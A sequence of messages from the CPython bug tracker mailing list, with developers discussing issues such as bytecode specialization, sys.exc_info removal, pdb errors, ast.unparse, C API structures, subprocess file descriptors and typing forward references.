* used = 9 (dummy=1) -> 32 (28.125%)
(snip)
* used = 6 (dummy=4) -> 32 (18.75%)
* used = 5 (dummy=5) -> 16 (31.25%)
* used = 4 (dummy=6) -> 16 (25%)
(snip)
* used = 2 (dummy=8) -> 8 (25%)
As you can see, dict is more sparse when there is dummy than when there is no dummy, except used=5/dummy=5 case.
There may be a small room for improvement, especially for `used=5/dummy=5` case. But I am not sure it is worth enough to use more complex GROWTH_RATE than used*3.
Any good idea?

Message-ID: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now here's how `test_get_clock_info` looks like:
```
def test_get_clock_info(self):
clocks = ['monotonic', 'perf_counter', 'process_time', 'time']
for name in clocks:
info = time.get_clock_info(name)
#self.assertIsInstance(info, dict)
self.assertIsInstance(info.implementation, str)
self.assertNotEqual(info.implementation, '')
self.assertIsInstance(info.monotonic, bool)
self.assertIsInstance(info.resolution, float)
# 0.0 < resolution <= 1.0
self.assertGreater(info.resolution, 0.0)
self.assertLessEqual(info.resolution, 1.0)
self.assertIsInstance(info.adjustable, bool)
```
It tests for out of five possible arguments to `time.get_clock_info`.
Docs: https://docs.python.org/3/library/time.html#time.get_clock_info
`'thread_time'` is missing for some reason.
I think we should add it to the test.

Right now there are two places where `sys.exc_info()` calls are not required anymore:
1. https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L1352-L1353

Subject: [issue46532] Improve effeciency of PRECALL/CALL instructions
Message-ID: <1643190282.99.0.74296903316.issue46532@roundup.psfhosted.org>
New submission from Mark Shannon <mark at hotpy.org>:
The PRECALL/CALL bytecode pair for calls is new (still in review at time of writing) and is not as efficient as it could be.
Some possible improvements are:
Transfer refcount of func when making a frame.
NULL call_shape.kwnames after use instead of in PRECALL, as many specialized instructions already assert that it is NULL.
Specialize the PRECALL instructions. Either for simple cases like `type(arg)` so we can skip the CALL, or for complex cases like `PythonClass(args)` where PRECALL can create object, and set up the frame so that `CALL` calls the __init__ function.

I don't think this is worth doing in a module where we can't completely get rid of the exc_info triplet.

Possibly consider replacing the specializations for `str(arg)` and `tuple(arg)` with a more general bytecode that can be used for other objects as well.

In other words, I don't see why it's an improvement to replace
exception = sys.exc_info()
by
exception = type(exc), exc, exc.__traceback__
when sys.exc_info() does exactly what your inlined version does.

Subject: [issue46533] Specialize for staticmethods and classmethods
Message-ID: <1643191278.03.0.471360623467.issue46533@roundup.psfhosted.org>
New submission from Mark Shannon <mark at hotpy.org>:
Calls of the form `x.m(args)` where either `x = X` or x = X()` and X is a class, and `m` is a classmethod or staticmethod are not currently specialized.
Typically the `x.m()` will translate to:
LOAD_FAST x
LOAD_METHOD "m"
PRECALL_METHOD 0
CALL 0
Since classmethods and staticmethods are descriptors, only the LOAD_METHOD should need specializing. The PRECALL/CALL will be able to handle the resulting values without modification.

Fair enough! The only improvement is that we don't call `sys.exc_info` twice here: https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L2641-L2644
But, I think it is a minor thing.
Looks like I've misunderstood the long time goal of `sys.exc_info` refactorings. Thanks a lot for the feedback!

In the long term we will want to not have the triplet, but this is a process that will take a few python versions to complete (when 3.11 is the oldest supported version). And it is not going to be simple.
In the meantime, where there is an advantage to removing exc_info because the code would be simplified or something else is changing nearby, we can do it. But I wouldn't remove exc_info just for the sake of it - such code churn makes it hard to backport other changes.

Slightly off topic rambling:
My own toy attempts at classmethod specialization suggested that it barely sped anything up. Most of the time went to creation of the new classmethod object. I'd imagine supporting Py_TPFLAGS_METHOD_DESCRIPTOR would speed things up, but they cover such a small % of calls that Py_TPFLAGS_METHOD_DESCRIPTOR's complexity might not be worth it.
Increasing specialization percentage is always a plus though. LOAD_METHOD needs better specialization success rates.

Andrew Svetlov <andrew.svetlov at gmail.com> added the comment:
BaseEventLoop has _check_loop() method that is closed in debug mode only.
UnixEventLoop doesn't call this method for unix-specific API.
Adding the check to add_signal_handler()/remove_signal_handler() doesn't hurt, sure.
But it doesn't help as the script is executed in non-debug mode.
Performing a check on every call_soon() call kills the performance, that's why debug mode is required.

In-Reply-To: <1643191278.03.0.471360623467.issue46533@roundup.psfhosted.org>
Message-ID: <1643195461.79.0.974638487251.issue46533@roundup.psfhosted.org>
Mark Shannon <mark at hotpy.org> added the comment:
For classmethods, I expect the savings to come from not creating a bound-method and from better specialization of the following call.
classmethod case:
>>> class C:
... @classmethod
... def m(*args):
... pass
...
>>> C.m
<bound method C.m of <class '__main__.C'>>
>>> C().m
<bound method C.m of <class '__main__.C'>>
So, without specialization LOAD_METHOD "m" has the following stack effect (with `x = C()`):
x -> NULL <bound method>
C -> NULL <bound method>
With specialization:
x -> C <function>
C -> C <function>
For static methods the saving is less as there is no change in stack effect, but we do save the lookup, and we can reuse existing bytecodes.
Neither classmethod or staticmethod should have Py_TPFLAGS_METHOD_DESCRIPTOR set, as they have different semantics.

Subject: [issue46535] Possible bug: pdb causes exception
Message-ID: <1643196007.05.0.419885868096.issue46535@roundup.psfhosted.org>
New submission from Stefan Ecklebe <stefan.ecklebe at tu-dresden.de>:
Consider a script called snippet.py, containing the lines
------------------------------------------
import numpy as np
import pandas as pd
np.finfo(float)
idx = pd.MultiIndex.from_tuples([(1, 2)])
np.finfo(float)
print("Done")
------------------------------------------
When running via 'python snippet.py' no errors occur. However when running via 'python -m pdb snippet.py' the following happens:
> snippet.py(1)<module>()
-> import numpy as np
(Pdb) r
--Return--
> snippet.py(6)<module>()->None
-> np.finfo(float)
(Pdb) c
Traceback (most recent call last):
File "VENV/lib/python3.10/site-packages/numpy/core/getlimits.py", line 459, in __new__
dtype = numeric.dtype(dtype)
TypeError: 'NoneType' object is not callable
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/lib/python3.10/pdb.py", line 1723, in main
pdb._runscript(mainpyfile)
File "/usr/lib/python3.10/pdb.py", line 1583, in _runscript

File "<string>", line 1, in <module>
File "snippet.py", line 6, in <module>
np.finfo(float)
File "VENV/lib/python3.10/site-packages/numpy/core/getlimits.py", line 462, in __new__
dtype = numeric.dtype(type(dtype))
TypeError: 'NoneType' object is not callable
Uncaught exception. Entering post mortem debugging
Running 'cont' or 'step' will restart the program
Commenting the MultiIndex line will will get rid of the problem but I am not quite sure why.
Please note that this error only occurs if the script is run via 'r' in pdb. Running via 'c' does not cause any problems.
Therefore, I suspect that the problem may be with pdb instead of the external packages.
My setup:
$ python --version
Python 3.10.1
$ pip list | grep numpy
numpy 1.22.1
$ pip list | grep pandas
pandas 1.4.0

Subject: [issue46520] `ast.unparse` produces syntactically illegal code for
identifiers that look like reserved words
In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org>
Message-ID: <1643198195.64.0.877913865567.issue46520@roundup.psfhosted.org>
Batuhan Taskaya <isidentical at gmail.com> added the comment:
Technically, this is a bug on the fact that it breaks the only guarantee of ast.unparse:
> Unparse an ast.AST object and generate a string with code that would produce an equivalent ast.AST object if parsed back with ast.parse().
But I am not really sure if it should be handled at all, since we don't have access to the original form of the identifier in the AST due to the parser's normalization behavior.
If we want to only create a source that would give the same AST, abusing the fact that original keywords are always basic ASCII we could embed a map of characters that convert ASCII 'a', 'b', 'c', ... to their most similar unicode versions (https://util.unicode.org/UnicodeJsps/confusables.jsp). But I feel like this is a terrible idea, with no possible gain (very limited use case) and very prone to a lot of confusions.
I think just adding a warning to the documentation regarding this should be the definite resolution, unless @pablogsal has any other idea.

Thank you for the suggestion.
This is unlikely to gain acceptance. zip is usable in places outside of for loops, whereas your suggestion appears to be only useful in for loops. In addition, I don't see a way to specify the "strict" option using your syntax. Your syntax also doesn't seem to add any new functionality or expressiveness to python, which is one of the usual criteria for adding new syntax.
I'm going to close this, but if you'd like to pursue it, I suggest opening a discussion on the python-ideas mailing list.

STINNER Victor <vstinner at python.org> added the comment:
IMO making the assumption that "char" is signed or not in C code is bad. If Python has code like that, it must be signed to explicitly use one of these types: unsigned char or uint8_t, signed char or int8_t. Hopefully, Python can now use C99 <stdint.h> since Python 3.6.
On my x86-64 Fedora 35 (GCC 11.2.1), the "char" type is signed. I built Python with -funsigned-char and I ran the test suite: the whole test suite pass! Commands:
---
make distclean
./configure --with-pydebug CFLAGS="-O0 -funsigned-char" --with-system-expat --with-system-ffi
make
./python -m test -j0 -r
---
Using ./configure CFLAGS, -funsigned-char is also used to build C extensions. Example:
gcc (...) -O0 -funsigned-char (...) Modules/_elementtree.c (...)
For completeness, I also built Python with -fsigned-char. Again, the full test suite passed ;-)
---
make distclean
./configure --with-pydebug CFLAGS="-O0 -fsigned-char" --with-system-expat --with-system-ffi
make
./python -m test -r -j0

> Would it be possible to skip these tests when no changes to the parser related code are made to speed up tests?
Maybe, some CIs could export an environment variable which contains the list of modified files, and then each file would be able to decide if it should be skipped or not. The risk is skipping a test because the change looks "unrelated", whereas it causes the test to fail.
Currently, we only skip tests if no code is changed: if only the documentation is modified.

I think I was wrong here. The "Caption" field is localized, so the wmic.exe OEM encoded output to a pipe isn't reliable. The system OEM code page doesn't necessarily match the display/preferred language of the current user. It could be a lossy encoding with default and best-fit translations (e.g. "?"; "?" -> "a"). If using wmic.exe, it's better to redirect the output to a temp file, which will be UTF-16.

sys.getwindowsversion() is affected to Microsoft's minimal rebuilds of
OS components causing core DLLs to have older versions than the release,
and also to compatibility modes that may report earlier versions if API
behaviour is being emulated.
The best way for us to use WMI is to call it directly. There are native
APIs to access it and retrieve the data directly. It's just nobody has
written it yet.
Calling out to Powershell needs to account for cases where Powershell is
not present, is disabled/blocked/limited, or is a different version. We
can rely on the native APIs (at least, if they fail, there's nothing
better we could possibly have done).
WMI is essentially the Windows equivalent of the platform module, so
there's no reason all the APIs in platform.py shouldn't use it, and
every reason that sys/os *shouldn't* use it.

Correct. And while "Windows" itself is never translated, the caption may
include terms that are translated (e.g., IIRC, the extra names for
point-of-sales versions).

Subject: [issue46538] [C API] Make the PyDescrObject structure opaque
Message-ID: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org>
New submission from STINNER Victor <vstinner at python.org>:
While working on the PEP 674 implementation, I noticed that PyDescr_NAME() and PyDescr_TYPE() macros are used as l-value by two projects: M2Crypto and mecab-python3. Both are code generated by SWIG.
M2Crypto-0.38.0/src/SWIG/_m2crypto_wrap.c and mecab-python3-1.0.4/src/MeCab/MeCab_wrap.cpp contain the function:
SWIGINTERN PyGetSetDescrObject *
SwigPyStaticVar_new_getset(PyTypeObject *type, PyGetSetDef *getset) {
PyGetSetDescrObject *descr;
descr = (PyGetSetDescrObject *)PyType_GenericAlloc(SwigPyStaticVar_Type(), 0);
assert(descr);
Py_XINCREF(type);
PyDescr_TYPE(descr) = type;
PyDescr_NAME(descr) = PyString_InternFromString(getset->name);
descr->d_getset = getset;
if (PyDescr_NAME(descr) == NULL) {
Py_DECREF(descr);
descr = NULL;
}
return descr;
}
ref: https://bugs.python.org/issue45476#msg407410
SwigPyStaticVar_new_getset() is more of less an outdated copy of Python 2.7 descr_copy() of Python Objects/descrobject.c.
I tried to prevent using the PyDescr_NAME() and PyDescr_TYPE() macros as l-value in two ways:
* Add PyDescr_SET_NAME() and PyDescr_SET_Type()
* Add PyDescr_New()
The problem of the PyDescr_SET_NAME() and PyDescr_SET_Type() approach is that SWIG code is outdated: it doesn't initialized the PyDescrObject.d_qualname member added to Python 3.3 (bpo-13577, commit 9d57481f043cb9b94bfc45c1ee041415d915cf8a).
So I implemented PyDescr_New() function: in CPython, it means basically to rename descr_new() to PyDescr_New(). Problem: implementating this function for older Python versions is non trivial. Code that I wrote for the pythoncapi_compat project:
// bpo-45476 added PyDescr_New() to Python 3.11.0a5
#if PY_VERSION_HEX < 0x030B00A5
PyDescrObject *
PyDescr_New(PyTypeObject *descr_type, PyTypeObject *type, const char *name)
{
assert(descr_type != NULL);
assert(type != NULL);
assert(name != NULL);
PyObject *name_obj;
#if PY_MAJOR_VERSION >= 3
name_obj = PyUnicode_InternFromString(name);
#else
name_obj = PyString_InternFromString(name);
#endif
if (name_obj == NULL) {
return NULL;
}
PyDescrObject *descr = (PyDescrObject *)PyType_GenericAlloc(descr_type, 0);
if (descr == NULL) {
Py_DECREF(name_obj);
return NULL;
}
descr->d_type = (PyTypeObject*)Py_NewRef(type);
descr->d_name = name_obj;
// PyDescrObject.d_qualname was added to Python 3.3.0a1
#if PY_VERSION_HEX >= 0x030300A1
descr->d_qualname = NULL;
#endif
return descr;
}
#endif
The even more complicated part is to write unit tests for this function in pythoncapi_compat. It requires to implement a whole type with tp_traverse tp_dealloc functions.
In Python, this function must be at least documented.
At the end, IMO it's not really worth it to add so much complexity to Python and pythoncapi_compat just for 2 projects using SWIG. I created this issue to keep a track of my analysis, if someone else tries to do something similar tomorrow.
I attached my WIP patches to keep a copy of this work, in case if we need to revisit this idea later.
For the PEP 674, IMO it's better to leave the two PyDescr_NAME() and PyDescr_TYPE() macros unchanged. There is no need in the short term to make PyDescrObject structure and structures using it opaque in the short term. Well, SWIG code looks incorrect (it doesn't initialize d_qualname), but a fix just for SWIG should be enough.

I checked: Oh, in practice, it's not an issue since PyType_GenericAlloc() initializes the memory to zero. So the code "just works".

I created bpo-46538 "[C API] Make the PyDescrObject structure opaque" to handle PyDescr_NAME() and PyDescr_TYPE() macros. But IMO it's not really worth it to make the PyDescrObject structure opaque. It's just too much work, whereas PyDescrObject is not performance sensitive. It's ok to continue exposing this structure in public for now.
I will exclude PyDescr_NAME() and PyDescr_TYPE() from the PEP 674.

Eryk Sun <eryksun at gmail.com> added the comment:
> stdin is closed
> os.open() is called and creates a new fd=0
> a call to os.dup2(fd, 0) is made but is a noop
The dup2() silent noop case is a problem, but not the problem that's reported in msg411113.
The two examples for this issue are fd.py and fd2.py. In fd.py, "/dev/null" is opened, and then, if the fd isn't 0, the fd is duped to inheritable fd 0. In fd2.py, fd 0 is closed, and then "/dev/null" is opened as fd 0, which isn't inheritable in Python 3.
I think the only problems regarding fd2.py are cross-platform inconsistency and/or documentation. If a similar example is tested in Windows it actually works, assuming os.devnull is used and that "sleep.exe" is available (e.g. from MSYS2). The child's stdin will be the same file as the parent's stdin.
In regard to the standard files, the subprocess documentation states the following:
With the default settings of None, no redirection will occur;
the child?s file handles will be inherited from the parent.
If close_fds is true, all file descriptors except 0, 1 and 2
will be closed before the child process is executed.
The above applies only to POSIX. It's not wrong in that case, but it should be emphasized that any of the standard file descriptors that's not overridden has to be inheritable in POSIX. Also, if overriding to a specific file, the file descriptor must be inheritable in POSIX. By default, file descriptors for opened files are not inheritable, so the subprocess documentation should reference os.set_inheritable().
For Windows it says the following:
if close_fds is true then no handles will be inherited by
the child process unless explicitly passed in the handle_list
element of STARTUPINFO.lpAttributeList, or by standard handle
redirection.
That's mostly right, except the last part about standard handle redirection is vague. If close_fds is true, none of the standard handles of the current process is ever inherited in Windows. They could be in principle, but subprocess wasn't designed that way. When close_fds is true, and the standard handles aren't overridden, subprocess relies on the OS to duplicate (not inherit) the standard handles to the child when spawning a console application (e.g. "python.exe", but not "pythonw.exe"). If at least one is overridden, subprocess duplicates all three as inheritable handles via _make_inheritable(). (This is a choice. It doesn't have to do this. It could simply ensure that its own pipe/null files are inheritable.) Thus, when close_fds is true it never matters whether the current standard handles are inheritable, or whether a specified override is inheritable. This behavior is in stark contrast to how subprocess works in POSIX.

Technically it should not provide the method according to the current design.
get_write_buffer_limits() is not a part of public transports API, this method is defined by private class _FlowControlMixin only.
WriteTransport requires only get_write_buffer_size() and set_write_buffer_limits() *setter* but not get_write_buffer_limits() getter.
I agree, looks weird.
The best solution maybe is adding get_write_buffer_limits() to WriteTransport definition and documenting the change.
Would you prepare a pull request? I'm happy to review/merge it.

For additional context, this was encountered when porting an application from threading to asyncio, and at the time we were still running the ioloop in its own thread as opposed to the mainthread. We no longer do that :D
Updating the documentation to clarify that the loop won't work across threads, like what we ran into at the time, would resolve this.

I've done very little work on CPython, but I do a lot of AST construction and call `ast.unparse` a lot in my work on Hylang, and I think this is a wart worth fixing. The real mistake was letting the user say `??? = 1`, but that's been legal Python syntax for a long time, so I doubt a change to that would be welcome, especially one affecting old stable versions of Python like 3.9. Python has made its bed and now it must lie in it.
I think that with a pretty small amount of code (using code-point arithmetic instead of a dictionary with every ASCII letter), I can add Unicode "escaping" of reserved words to the part of `ast.unparse` that renders variable names. Would a patch of this kind be welcome?

I don't think that Python 3.9 should be changed. It's too late. IMO this issue is not important enough to introduce a new type flag in a minor Python 3.9.x bugfix release. I suggest to close this issue.

Apparently `WriteTransport.get_write_buffer_limits` is already documented
(https://docs.python.org/3/library/asyncio-protocol.html#asyncio.WriteTransport.get_write_buffer_limits)
so please can you clarify on what did you mean by that?
I am sorry this is my first time here.

Rather than suggesting an actual number, perhaps we should link to an external resources that covers how to choose the number?
Or we leave it vague and say "The number of iterations should be chosen based on the hash algorithm and computing power; there is no universal recommendation, but hundreds of thousands of iterations may be reasonable." This avoids bikeshedding a specific number, but still gives a general idea of the magnitude of number involved.

Subject: [issue46539] typing: forward references don't understand special type
forms
Message-ID: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org>
New submission from Gregory Beauregard <greg at greg.red>:
Consider the following code on 3.11 main:
```
from typing import Annotated, ClassVar, get_type_hints
class DC:
a: ClassVar[int] = 3
b: ClassVar["int"] = 3
c: "ClassVar[int]" = 3
d: Annotated[ClassVar[int], (2, 5)] = 3
e: Annotated[ClassVar["int"], (2, 5)] = 3
f: "Annotated[ClassVar[int], (2, 5)]" = 3
class DC_Special_ForwardRef:
g: Annotated["ClassVar[int]", (] = 3
# OK
assert get_type_hints(DC, globals(), locals()) == {
"a": ClassVar[int],
"b": ClassVar[int],
"c": ClassVar[int],
"d": ClassVar[int],
"e": ClassVar[int],
"f": ClassVar[int],
}
# TypeError: typing.ClassVar[int] is not valid as type argument
get_type_hints(DC_Special_ForwardRef, globals(), locals())
```
Currently, the `Annotated["ClassVar[int]", (2, 5)]` annotation raises at runtime when `get_type_hints` is called, but all the other forward reference annotations are okay.
My understanding is this is because when typing._type_check runs on a type where special forms are allowed it's possible for the typing._type_convert it calls it itself run a typing._type_check on contained forward references. However, if that forward reference was itself a special form then it's possible to get an error because typing._type_check doesn't pass on that special forms are allowed.
I have drafted a patch to pass on this information. This will become important in the future as more special forms are allowed to wrap each other, such as allowing Final and ClassVar to nest each other in dataclasses, or when Required and NotRequired land. In the future we may also want to reconsider runtime restrictions on special forms in `typing.py` entirely and instead choose to leave this to type checkers.
Is my analysis/patch approach okay? Forward references can be tricky. Should we be discussing runtime restrictions in typing.py more generally in the future?

Subject: [issue46540] dylibs not loading properly from NFS mounts
Message-ID: <1643231140.7.0.949544098465.issue46540@roundup.psfhosted.org>
New submission from embassy_vfx <emb_tech at theembassyvfx.com>:
MacOS Catalina 10.15.4 and 10.15.7
tested with XCode Python3.8 install and Python3.7.9 installer from https://www.python.org/ftp/python/3.7.9/python-3.7.9-macosx10.9.pkg (and my own build of 3.7.12)
When importing libraries that use shared object files to an NFS mounted directory, they do not open the dynamic library properly. We can use PySide2 as an example here. This workflow works fine in python 2.7 using the same steps.
Repro Steps:
1)pip install PySide2 to an NFS mounted directory: `/usr/local/bin/python3.7 -m pip install --target=/<path_to_nfs_dir>/nfs_3.7 PySide2`
2)`export PYTHONPATH=/<path_to_nfs_dir>/nfs_3.7`
3)run python `/usr/local/bin/python3.7`
4)import PySide2 - you should get an ImportError that looks like "dlopen(/<path_to_nfs_dir>/nfs_3.7/shiboken2/shiboken2.abi3.so, 2): Library not loaded: @rpath/libshiboken2.abi3.5.15.dylib" - otool shows shiboken2.abi3.so has it's rpath set as @loader_path and I've confirmed both files exist.
If I follow the same procedure above but instead install PySide2 to `/tmp/local_3.7` everything works as expected and the binaries are loaded properly.
I had this same issue with standard library .so files when I installed my custom build of python to an NFS mounted directory (_ssl as an example) but only when running through a virtual environment. Possibly @rath/@loader_path related? This seems to only be an issue on MacOS as I have no issues on the same NFS mount on Linux.

I did try the proposed patch in bpo-41370 and verified it didn't resolve the issue so I'm not certain they strictly overlap, but I also haven't had time to fully digest the underlying issues in bpo-41370 yet.
I think it does have relevance for changes we want to make for dataclasses re: Annotated, though: https://bugs.python.org/issue46511

Hi StyXman,
I had a closer look at the files you shared, thanks for those, very helpful!
What I found is that expat_test.py uses a single scalar variable
(_DictSAXHandler.parser) to keep track of the related parser, while it would
need a stack to allow recursion. In a way, the current approach is equivalent
to walking up the stack as expected but never going back down.
Once I make the code use a stack, the loop goes away. I'm pasting the patch
inline (with two spaces indented globally) below.
During debugging, these are commands I used to compare internal libexpat behavior,
that may be of interest:
EXPAT_ACCOUNTING_DEBUG=2 python expat_test.py |& sed 's,0x[0-9a-f]\+,XXX,' | tee pyexpat.txt
EXPAT_ACCOUNTING_DEBUG=2 xmlwf -x test1.xml |& sed 's,0x[0-9a-f]\+,XXX,' | tee xmlwf.txt
diff -u xmlwf.txt pyexpat.txt
Here's how I quick-fixed expat_test.py to make things work:

Agree it's not the same issue, but there's similarity -- both are due to putting a stringized annotation (presumably a forward ref) somewhere inside another construct. whether it's list["N"] or Annotated["ClassVar[int]"].

> switch to the newer CreateFile2() function
Apparently we need to allow FILE_SHARE_READ if CreateFile2() is used to implement os.stat(). It's not a big deal, but this is a design flaw.
CreateFile2() always uses the kernel I/O flag FILE_DISALLOW_EXCLUSIVE [1] when it calls NtCreateFile(). The intent of this flag is to avoid exclusive read access on the first open of a file when a user lacks write permission. Thus unprivileged users aren't allowed to prevent read access to critical system files.
However, the implementation is flawed because it denies access even if the open doesn't request data access. It's also flawed because it allows exclusive read access when there are previous opens even if the previous opens have no data access.
Classically, IoCheckShareAccess() only checks for a sharing violation when an open requests read, write, or delete data access (i.e. FILE_READ_DATA, FILE_EXECUTE, FILE_WRITE_DATA, FILE_APPEND_DATA, DELETE). This is clearly explained in [MS-FSA] [2]. An open that only requests metadata access can never cause a sharing violation and poses no problem with regard to blocking access to a file.

Subject: [issue46541] Replace _Py_IDENTIFIER() with statically initialized
objects.
Message-ID: <1643234464.46.0.949364478641.issue46541@roundup.psfhosted.org>
New submission from Eric Snow <ericsnowcurrently at gmail.com>:
`_Py_Identifier` has been useful but at this point there is a faster and simpler approach we could take as a replacement: statically initialize the objects as fields on `_PyRuntimeState` and reference them directly through a macro.
This would involve the following:
* add a `PyUnicodeObject field (not a pointer) to `_PyRuntimeState` for each string that currently uses `_Py_IDENTIFIER()`
* initialize each object as part of the static initializer for `_PyRuntimeState`
* make each "immortal" (e.g. start with a really high refcount)
* add a macro to look up a given string
* update each location that currently uses `_Py_IDENTIFIER()` to use the new macro instead
As part of this, we would also do the following:
* get rid of all C-API functions with `_Py_Identifer` parameters
* get rid of the old runtime state related to identifiers
* get rid of `_Py_Identifier`, `_Py_IDENTIFIER()`, etc.
(Note that there are several hundred uses of `_Py_IDENTIFIER()`, including a number of duplicates.)
Pros:
* reduces indirection (and extra calls) for C-API using the strings (making the code easier to understand and speeding it up)
* the objects are referenced from a fixed address in the static data section (speeding things up and allowing the C compiler to optimize better)
* there is no lazy allocation (or lookup, etc.) so there are fewer possible failures when the objects get used (thus less error return checking)
* simplifies the runtime state
* saves memory (at little, at least)
* the approach for per-interpreter is simpler (if needed)
* reduces the number of static variables in any given C module
* reduces the number of functions in the ("private") C-API
* "deep frozen" modules can use these strings
* other commonly-used strings could be pre-allocated by adding `_PyRuntimeState` fields for them
Cons:
* churn
* adding a string to the list requires modifying a separate file from the one where you actually want to use the string
* strings can get "orphaned" (we could prevent this with a check in `make check`)
* some PyPI packages may rely on `_Py_IDENTIFIER()` (even though it is "private" C-API)
* some strings may never get used for any given ./python invocation
Note that with a basic partial implementation (GH-30928) I'm seeing a 1% improvement in performance (see https://github.com/faster-cpython/ideas/issues/230).

Eric Snow <ericsnowcurrently at gmail.com> added the comment:
## Background ##
`_Py_Identifier` (and `_Py_IDENTIFIER()`, etc.) was added in 2011 [1][2] for several reasons:
* provide a consistent approach for a common optimization: caching C-string based string objects
* facilitate freeing those objects during runtime finalization
The solution involved using a static variable defined, using `_Py_IDENTIFIER()` near the code that needed the string. The variable (a `_Py_Identifier`) would hold the desired C string (statically initialized) and the corresponding (lazily created) `PyUnicodeObject`. The code where the `_Py_Identifier` was defined would then pass it to specialized versions of various C-API that would normally consume a C string or `PyUnicodeObject`. Then that code would use either the C-string or the object (creating and caching it first if not done already). This approach decentralized the caching but also provided a single tracking mechanism that made it easier to clean up the objects.
Over the last decade a number of changes were made, including recent changes to make the identifiers per-interpreter and to use a centralized cache.

This project is a backport targeting Python 3.7 and older. I'm not sure if it makes sense to update to it to Python 3.11.
It's the same for pysha3 which targets Python <= 3.5.

FYI distutils.unixccompiler has a private _is_gcc() function:
def _is_gcc(self, compiler_name):
# clang uses same syntax for rpath as gcc
return any(name in compiler_name for name in ("gcc", "g++", "clang"))
It's called with:
compiler = os.path.basename(sysconfig.get_config_var("CC"))
For example, on my Fedora 35, compiler is the string: 'gcc -pthread'. So _is_gcc() returns True.

Per https://mail.python.org/archives/list/python-dev at python.org/thread/GJTREADEXYAETECE5JDTPYWK4WMTKYGR/ we want to revert this change for 3.11 as it causes adoption pain for little benefit.
To determine if we should proceed with this in 3.12 or future versions, run a stable Python with this change applied on the test suites of external projects to find regressions. (many will have been addressed by then thanks to the work by RedHat)
and remember that those are only open source projects. Peoples internal codebases are full of use of these names and this will prevent upgrading until they take the time to address those.
There are targeted pieces of this change that may make sense to go forward with individually. But it is easier to reason about after a rollback and consider new PRs to move those forward.

This sounds to me like "by default they return None but you can override this default".
I don't think any change to the doc makes sense here. When you state the obvious people wonder what they're missing.

per that thread and https://discuss.python.org/t/experience-with-python-3-11-in-fedora/12911 it sounds like you may be on top of filing upstream issues/PRs to get OSS projects to stop using the deprecated APIs. great! that should help this stick in 3.12.
as the commit removed several things at once, I suggest a full rollback, and smaller PRs for individual things if your upstream python project testing reveals things that nobody appears to be depending on.

* Add buffer protocol to PyType_FromSpec()
* Stdlib C extensions still define static types: see bpo-40077
* 3rd party C extensions still define static types: PEP 630 and others propose heap types

STINNER Victor <vstinner at python.org> added the comment:
I searched for "_PyGC_FINALIZED" in top 5000 PyPI projects. It seems like only Cython is impacted.
ddtrace and guppy3 use directly the internal C API.
== Cython 0.29.26 ==
* Cython/Compiler/ModuleNode.py: finalised_check = '!_PyGC_FINALIZED(o)'
* Cython/Compiler/ModuleNode.py: '(!PyType_IS_GC(Py_TYPE(o)) || !_PyGC_FINALIZED(o))')
== ddtrace 0.57.3 ==
In ddtrace/profiling/collector/stack.pyx:
IF PY_MINOR_VERSION >= 9:
# Needed for accessing _PyGC_FINALIZED when we build with -DPy_BUILD_CORE
cdef extern from "<internal/pycore_gc.h>":
pass
== guppy3-3.1.2 ==
In src/heapy/hv.c:
#if PY_MAJOR_VERSION >= 3 && PY_MINOR_VERSION >= 9
# define Py_BUILD_CORE
/* PyGC_Head */
# undef _PyGC_FINALIZED
# include <internal/pycore_gc.h>
# undef Py_BUILD_CORE
#endif

STINNER Victor <vstinner at python.org> added the comment:
I searched for "_PyObject_DebugMallocStats" in top 5000 PyPI projects. There is a single project using it: guppy3.
Extract of guppy3 src/heapy/xmemstats.c:
...
dlptr__PyObject_DebugMallocStats = addr_of_symbol("_PyObject_DebugMallocStats");
...
static PyObject *
hp_xmemstats(PyObject *self, PyObject *args)
{
if (dlptr__PyObject_DebugMallocStats) {
fprintf(stderr, "======================================================================\n");
fprintf(stderr, "Output from _PyObject_DebugMallocStats()\n\n");
dlptr__PyObject_DebugMallocStats(stderr);
}
...
}
addr_of_symbol() is implemented with dlsym() or GetModuleHandle(NULL)+GetProcAddress(): it searchs for the symbol in the current process.

I'd like to work on this issue recently if it's still needed.
According to suggestions in PR:https://github.com/python/cpython/pull/29437, I will:
* Add doc example for Thread function;
* Add some test cases for checking the validity of list args;
* Repeat the above works on multiprocessing module.

Charliz, please do! I have no idea why Raymond just stopped. He even deleted his initial message here, saying "I relied on this for many years. So, yet it would be nice to guarantee it :-)".
Best I can tell, nothing has changed: lots of people have relied on this behavior for years, and the docs should say it's fine.

This is a vendored the Boost.org python module which has already been fixed in boost 1.78.0 (commit: January 2021) by:
https://github.com/boostorg/python/commit/500194edb7833d0627ce7a2595fec49d0aae2484
scipy should just update its scipy/_lib/boost copy.

New submission from Jelle Zijlstra <jelle.zijlstra at gmail.com>:
sys._getframe() has to create frame objects, which is relatively expensive. Usually the calling function object should be enough.

To me, the five idlelib changes make the code easier to understand. Nick, please either move them into a separate PR or allow me to do so, and subject to manual testing, I will merge and backport. (I requested this on the PR by maybe you missed it.)
If there are other plausible changes in idlelib that you would like considered, make a spinoff issue where we can discuss them first.

Hugo Almeida <sudo.xiangqian at gmail.com> added the comment:
Hi ?ric, thank you so much.
I know only a little usage of closure and functools.partial but not the historical/relative knowledge of their design/feature, I mean this issue have 2 visual, the partical object not working as it expected or we are not calling the partical as it expected:
1) partial is not working as its feature or design said, assume I guessed right, thus partial object behaviors should be totally equal to its wrapper/inside class called with properties applied in a standalone/outside way which we usually used, the use of partical at http.server.test should be okey.
"""
import functools
class Obj:
pass
obj = Obj(); obj.foo = bar # usually used
jbo = functools.partial(Obj, foo=bar)
# if jbo totally equal to obj in anywhere
# (the so called Duck Type or
# maybe the LSP rule, Liskov
# Substitution Principle)
# the use of partical in http.server
# should also be ok
#
# I used the partical times the same
# as http.server's author did
# and I told myself I know its usage
# but now I do not think so
"""
